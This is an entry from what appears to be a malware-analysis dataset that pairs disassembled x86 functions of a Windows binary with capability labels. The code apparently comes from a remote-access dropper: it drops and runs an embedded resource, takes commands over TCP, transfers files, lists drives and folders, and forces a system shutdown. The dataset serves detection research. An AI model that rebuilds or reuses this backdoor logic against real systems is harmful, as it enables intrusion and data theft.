joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404810
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebp
push esi
push edi
push 0x40d020
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x404894
mov ecx, dword [esp + 0x14]
push 0x40d27c
and ecx, 0xffff
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x404894
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x404894
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x404880
push ebp
push 1
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
test esi, esi
pop ebx
jne 0x404896
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x4048a0
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x200
lea eax, [esp]
push ebx
push esi
push edi
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [esp + 0x214]
lea ecx, [esp + 0x10c]
push 0xff
push ecx
push edx
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
lea eax, [esp + 0x10c]
push eax
call fcn.00403c10
lea edi, [esp + 0x110]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x214]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
call fcn.00404810
add esp, 0xc
lea edx, [esp + 0xc]
push 5
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
cmp eax, 0x20
pop ebx
jg 0x404965
push 5
push 0
lea eax, [esp + 8]
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x404965
xor eax, eax
add esp, 0x200
ret 8
mov eax, 1
add esp, 0x200
ret 8
Function at 0x404cb0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x19c
push ebx
push ebp
push esi
push edi
push str.User32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
mov ecx, 0x67
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, 0x404ed0
push str.SendMessageTimeoutA
push ebx
sub ebp, 0x404e60
call edi
mov esi, dword [esp + 0x1b0]
mov dword [esp + 0x1c], eax
push esi
call dword [sym.imp.USER32.dll_IsWindowUnicode]
test eax, eax
je 0x404d2b
push str.GetWindowLongW
push ebx
call edi
push str.GetClassInfoExW
push ebx
mov dword [esp + 0x1c], eax
call edi
mov dword [esp + 0x10], eax
lea eax, [esp + 0x2c]
push 0x40
push eax
push esi
call dword [sym.imp.USER32.dll_GetClassNameW]
jmp 0x404d54
push str.GetWindowLongA
push ebx
call edi
push str.GetClassInfoExA
push ebx
mov dword [esp + 0x1c], eax
call edi
lea ecx, [esp + 0x2c]
push 0x80
push ecx
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_GetClassNameA]
push 0xffffffffffffffe0
push esi
mov dword [esp + 0x28], esi
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0xfffffffffffffffa
push esi
mov word [esp + 0x2c], ax
call dword [sym.imp.USER32.dll_GetWindowLongA]
xor ebx, ebx
mov dword [esp + 0x28], eax
push ebx
push esi
mov dword [esp + 0xe4], ebx
mov dword [esp + 0x1b0], 0xc8
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp edi, eax
jne 0x404d9f
mov dword [esp + 0x18], ebx
lea edx, [esp + 0x10]
push 0x19c
push edx
push ebp
push 0x404e60
push esi
call fcn.00404b50
add esp, 0x14
test eax, eax
jne 0x404df3
mov eax, dword [esp + 0x1b8]
cmp eax, ebx
je 0x404dc9
mov dword [eax], ebx
mov edi, dword [esp + 0x1b4]
cmp edi, ebx
je 0x404ddd
mov ecx, 0xc
xor eax, eax
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1bc]
pop edi
pop esi
pop ebp
mov byte [eax], bl
xor eax, eax
pop ebx
add esp, 0x19c
ret
mov edx, dword [esp + 0x1b8]
mov eax, dword [esp + 0x1b4]
cmp edx, ebx
je 0x404e15
mov ecx, 0xc
lea esi, [esp + 0xac]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
cmp eax, ebx
je 0x404e22
mov ecx, dword [esp + 0xdc]
mov dword [edx], ecx
mov esi, dword [esp + 0x1bc]
lea edx, [esp + 0xe0]
push 0xc8
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov byte [esi + 0xc8], bl
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x19c
ret
Function at 0x405800
Capabilities:
Initialize winsock library

Disassembly:
push ebx
push esi
mov ebx, ecx
push edi
xor eax, eax
push 0x200
mov dword [ebx + 0x1b8], eax
mov dword [ebx + 0x1c0], eax
mov dword [ebx + 0x1bc], eax
mov dword [ebx + 0x1c4], eax
call sub.MFC42.DLL_operatornew
push 0x100
mov dword [ebx + 0x1b0], eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov eax, dword [esp + 0x18]
or ecx, 0xffffffff
mov dword [ebx + 0x194], eax
mov edi, str.TheComputerOfTheGhost
xor eax, eax
add esp, 8
mov dword [ebx + 0x1b4], edx
mov dword [ebx + 0x198], ecx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebx + 4]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebx], eax
pop edi
mov eax, ebx
pop esi
pop ebx
ret 4

Function at 0x4058b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 8
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x194], 0xffffffff
jne 0x4058e2
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x194], eax
jne 0x4058e2
pop edi
or eax, 0xffffffff
pop esi
add esp, 8
ret 8
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4058fa
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
jmp 0x4058fe
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea edi, [esi + 0x19c]
push eax
mov word [edi], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x1a0], eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x194]
push 0x10
push edi
push ecx
mov word [esi + 0x19e], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40594e
pop edi
or eax, eax
pop esi
add esp, 8
ret 8
mov eax, dword [esi + 0x194]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 8]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x1c], 0x7530
call edi
mov edx, dword [esi + 0x194]
lea ecx, [esp + 0xc]
push 4
push ecx
push 0x1005
push 0xffff
push edx
mov dword [esp + 0x20], 0x7530
call edi
pop edi
xor eax, eax
pop esi
add esp, 8
ret 8
Function at 0x405a10
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x14
or eax, 0xffffffff
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x194], eax
je 0x405b46
mov ecx, dword [esi + 0x198]
mov ebp, dword [sym.imp.WS2_32.dll_ioctlsocket]
lea eax, [esp + 0x10]
mov ebx, 1
push eax
push 0x8004667e
push ecx
mov dword [esp + 0x1c], ebx
call ebp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x28]
lea edi, [eax + eax*4]
shl edi, 1
cmp edi, ebx
jl 0x405ab6
mov edx, dword [esi + 0x198]
push 0
push 0
push edx
call dword [sym.imp.WS2_32.dll_accept]
mov dword [esi + 0x1ac], eax
mov eax, dword [esi + 0x1bc]
test eax, eax
je 0x405a89
mov ecx, dword [esi + 0x1c4]
push ecx
call eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x405aa0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x405ab6
cmp dword [esi + 0x1ac], 0xffffffff
jne 0x405ab6
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, edi
jle 0x405a5f
mov eax, dword [esi + 0x198]
lea edx, [esp + 0x14]
push edx
xor edi, edi
push 0x8004667e
push eax
mov dword [esp + 0x20], edi
call ebp
mov eax, dword [esi + 0x1ac]
cmp eax, 0xffffffff
jne 0x405ae6
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x14
ret 4
lea ecx, [esp + 0x18]
mov dword [esi + 0x194], eax
push ecx
push 0x8004667e
push eax
mov dword [esp + 0x24], edi
call ebp
mov eax, dword [esi + 0x194]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 0x1c]
push 4
push edx
push 0x1006
mov ebx, 0x7530
push 0xffff
push eax
mov dword [esp + 0x30], ebx
call edi
mov edx, dword [esi + 0x194]
lea ecx, [esp + 0x20]
push 4
push ecx
push 0x1005
push 0xffff
push edx
mov dword [esp + 0x34], ebx
call edi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 4
Function at 0x405c20
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x408
mov al, byte [0x40d6f0]
push ebx
push esi
mov esi, ecx
push edi
mov byte [esp + 0xc], al
mov ecx, 0x101
xor eax, eax
lea edi, [esp + 0xd]
mov edx, dword [esi + 0x194]
rep stosd dword es:[edi], eax
push 0
lea ecx, [esp + 0x10]
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 1
push ecx
push edx
call edi
cmp eax, 1
jl 0x405d54
mov al, byte [esp + 0xc]
mov bl, 0x3e
cmp al, bl
jne 0x405d54
mov ecx, dword [esi + 0x194]
push 0
lea eax, [esp + 0x11]
push 1
push eax
push ecx
call edi
cmp eax, 1
jl 0x405d54
cmp byte [esp + 0xd], bl
jne 0x405d54
mov eax, dword [esi + 0x194]
push 0
lea edx, [esp + 0x12]
push 1
push edx
push eax
call edi
cmp eax, 1
jl 0x405d54
mov edx, dword [esi + 0x194]
push 0
lea ecx, [esp + 0x13]
push 1
push ecx
push edx
call edi
cmp eax, 1
jl 0x405d54
movsx ebx, byte [esp + 0xf]
mov eax, dword [esp + 0xe]
shl ebx, 8
and eax, 0xff
add ebx, eax
cmp ebx, 0x400
jg 0x405d54
lea ecx, [ebx - 4]
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.00406240
mov eax, dword [esp + 0x418]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0xc]
mov edi, eax
push 0x40d3f8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
mov byte [ebx + eax], 0
lea eax, [esp + 0x14]
push eax
call esi
push 0x40d3f8
push 0
call esi
push 0x40d3f8
push 0
call esi
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x408
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x408
ret 4

Function at 0x405d70
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x410
mov eax, dword [esp + 0x414]
push edi
push 0x40d020
mov edi, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [esp + 8], eax
test eax, eax
je 0x405e2d
push ebx
mov ebx, dword [esp + 0x420]
push ebp
push esi
mov dword [esp + 0x10], ebx
xor ebp, ebp
cmp ebx, 0x400
mov eax, 0x400
jge 0x405dba
mov eax, ebx
lea ecx, [esp + 0x18]
push eax
push ecx
mov ecx, edi
call fcn.00406240
mov esi, eax
test esi, esi
jle 0x405e0a
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push 1
push esi
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [edi + 0x1b8]
add esp, 0x10
sub ebx, esi
add ebp, esi
test eax, eax
je 0x405e00
mov ecx, dword [esp + 0x10]
mov edx, dword [edi + 0x1c0]
push ecx
push ebp
push edx
call eax
cmp ebx, 1
jl 0x405e0a
cmp esi, 1
jge 0x405dab
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
test esi, esi
pop esi
pop ebp
pop ebx
jle 0x405e2d
mov eax, dword [esp + 4]
pop edi
add esp, 0x410
ret 8
or eax, 0xffffffff
pop edi
add esp, 0x410
ret 8
Function at 0x405e40
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x40c
push ebx
push edi
push 0x40d0c8
mov ebx, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x405efa
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push edi
call esi
push edi
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push edi
mov dword [esp + 0x2c], eax
call esi
add esp, 0x1c
xor ebp, ebp
push edi
push 0x400
lea ecx, [esp + 0x1c]
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
mov esi, eax
add esp, 0x10
test esi, esi
je 0x405eb8
lea edx, [esp + 0x14]
push esi
push edx
mov ecx, ebx
call fcn.004061d0
mov esi, eax
mov eax, dword [ebx + 0x1b8]
add ebp, esi
test eax, eax
je 0x405ed3
mov ecx, dword [esp + 0x10]
mov edx, dword [ebx + 0x1c0]
push ecx
push ebp
push edx
call eax
cmp esi, 0x400
jge 0x405e8d
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
test esi, esi
pop esi
pop ebp
jle 0x405efa
mov eax, dword [esp + 8]
pop edi
pop ebx
add esp, 0x40c
ret 4
pop edi
or eax, 0xffffffff
pop ebx
add esp, 0x40c
ret 4
Function at 0x405f70
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x4096a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x620
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea eax, [esp + 0x114]
push 0x104
push eax
push 0
mov dword [esp + 0x638], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x114]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], 0
mov eax, dword [esp + 0x640]
add esp, 8
test eax, eax
je 0x405fdd
push 0x78
mov ecx, esi
call fcn.00405a10
lea edx, [esp + 0x21c]
mov ecx, esi
push edx
call fcn.00405c20
test eax, eax
je 0x40613e
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
push ebx
push ebp
push edi
lea eax, [esp + 0x22c]
push 0x40d3f8
push eax
call esi
push 0x40d3f8
push 0
mov ebp, eax
call esi
push 0x40d3f8
push 0
mov ebx, eax
call esi
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov dword [esp + 0x30], eax
lea edi, [esp + 0x13c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x34]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x40d6f0
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x660]
mov ecx, ebp
mov ebp, dword [sym.imp.MSVCRT.dll__mbscmp]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
add esp, 0x24
test eax, eax
jne 0x4060a8
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, 0x40d278
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40d6f0
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x644]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
add esp, 8
test eax, eax
pop edi
pop ebp
pop ebx
je 0x406127
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x634]
push ecx
push edx
jmp 0x406131
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, dword [esp + 0xc]
call fcn.00405d70
mov esi, dword [esp + 4]
mov eax, dword [esp + 0x638]
test eax, eax
je 0x406150
mov ecx, esi
call fcn.004059b0
lea ecx, [esp + 0x634]
mov dword [esp + 0x62c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x624]
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x62c
ret 8
Function at 0x406190
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x14
lea eax, [esp]
lea edx, [esp + 4]
push eax
mov eax, dword [ecx + 0x194]
push edx
push eax
mov dword [esp + 0xc], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [esp + 0x18]
push eax
call fcn.00407edc
add esp, 0x14
ret 4

Function at 0x4061d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
test esi, esi
push edi
mov ebx, ecx
jle 0x406225
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp esi, 0x200
jle 0x406205
mov eax, dword [ebx + 0x194]
push 0
push 0x200
push edi
push eax
jmp 0x406214
test esi, esi
jle 0x406229
mov ecx, dword [ebx + 0x194]
push 0
push esi
push edi
push ecx
call ebp
cmp eax, 1
jl 0x406229
sub esi, eax
add edi, eax
test esi, esi
jg 0x4061ec
jmp 0x406229
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
cmp eax, 0xffffffff
pop ebx
jne 0x406237
or eax, eax
ret 8
mov eax, dword [esp + 8]
ret 8

Function at 0x406240
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, ecx
mov ecx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xc]
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
xor esi, esi
and ecx, 3
rep stosb byte es:[edi], al
mov eax, edx
test eax, eax
jle 0x406291
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [ebx + 0x194]
push 0
lea eax, [esi + ebp]
push 1
push eax
push ecx
call edi
test eax, eax
je 0x40629a
cmp eax, 0xffffffff
je 0x4062a3
mov eax, dword [esp + 0x18]
inc esi
cmp esi, eax
jl 0x40626e
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 8
Function at 0x407130
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x40986e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], esi
xor ebx, ebx
mov dword [esp + 0x24], ebx
call sub.MFC42.DLL_CString::CString_2
lea edi, [esi + 4]
mov byte [esp + 0x24], 1
mov ecx, edi
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 8]
mov byte [esp + 0x24], 2
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 3
call sub.MFC42.DLL_CString::CString_2
push 0x40d6f0
mov ecx, esi
mov byte [esp + 0x28], 4
call fcn.00407edc
push 0x40d6f0
mov ecx, ebp
call fcn.00407edc
push 0x40d6f0
mov ecx, edi
call fcn.00407edc
mov dword [esi + 0xc], ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [esp + 0x14], eax
mov ebp, 1
mov edi, 0x41
mov eax, dword [esp + 0x14]
test eax, ebp
je 0x407215
push edi
lea ecx, [esp + 0x14]
push str._c:_
push ecx
call sub.MFC42.DLL_CString::Format
mov edx, dword [esp + 0x1c]
add esp, 0xc
push edx
call ebx
push eax
push edi
push edi
lea eax, [esp + 0x1c]
push str.::0:_c:_c:_u_n
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call fcn.00407f00
inc dword [esi + 0xc]
shl ebp, 1
inc edi
cmp edi, 0x5a
jle 0x4071cf
push ecx
lea edx, [esp + 0x30]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
call fcn.00407f36
mov ecx, esi
call fcn.00407270
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x24], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x18
ret 4
Function at 0x407270
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4098a9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14c
push esi
push edi
mov esi, ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0x15c], 0
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x15c], 1
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 8]
mov byte [esp + 0x15c], 2
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [esp + 0x164]
lea ecx, [esp + 0xc]
push eax
push str._s.
push ecx
mov byte [esp + 0x168], 3
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x18]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40734b
lea ecx, [esp + 8]
mov byte [esp + 0x15c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x15c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x15c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x164]
mov dword [esp + 0x15c], edi
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x407474
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test byte [esp + 0x18], 0x10
je 0x4073cf
cmp byte [esp + 0x44], 0x2e
je 0x407394
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x34]
sub ecx, eax
lea edx, [esp + 0x148]
push ecx
lea eax, [esp + 0x48]
push edx
push eax
lea ecx, [esp + 0x18]
push str.::1:_s:_s:_ld_n
push ecx
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea edx, [esp + 0xc]
lea ecx, [esi + 4]
push edx
jmp 0x407401
cmp byte [esp + 0x45], 0x2e
jne 0x407406
mov eax, dword [esp + 0x38]
mov edx, dword [esp + 0x34]
sub eax, edx
lea ecx, [esp + 0x148]
push eax
lea edx, [esp + 0x48]
push ecx
push edx
lea eax, [esp + 0x18]
push str.::1:_s:_s:_ld_n
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esi + 4]
jmp 0x407401
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
sub edx, ecx
lea eax, [esp + 0x148]
push edx
lea ecx, [esp + 0x48]
push eax
push ecx
lea edx, [esp + 0x18]
push str.::2:_s:_s:_ld_n
push edx
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea eax, [esp + 0xc]
lea ecx, [esi + 8]
push eax
call fcn.00407f00
mov ecx, dword [esi + 0xc]
inc ecx
mov dword [esi + 0xc], ecx
lea ecx, [esp + 0x18]
push ecx
push edi
call ebp
test eax, eax
jne 0x407352
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [esi + 0xc]
lea ecx, [esp + 0xc]
mov byte [esp + 0x160], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x160], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x160], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x168]
mov dword [esp + 0x160], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, esi
pop ebp
mov ecx, dword [esp + 0x154]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x158
ret 4
Function at 0x407830
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword [esp + 0x18]
push 0
test eax, eax
je 0x407899
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0x14
ret 4
push 0xc
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0x14
ret 4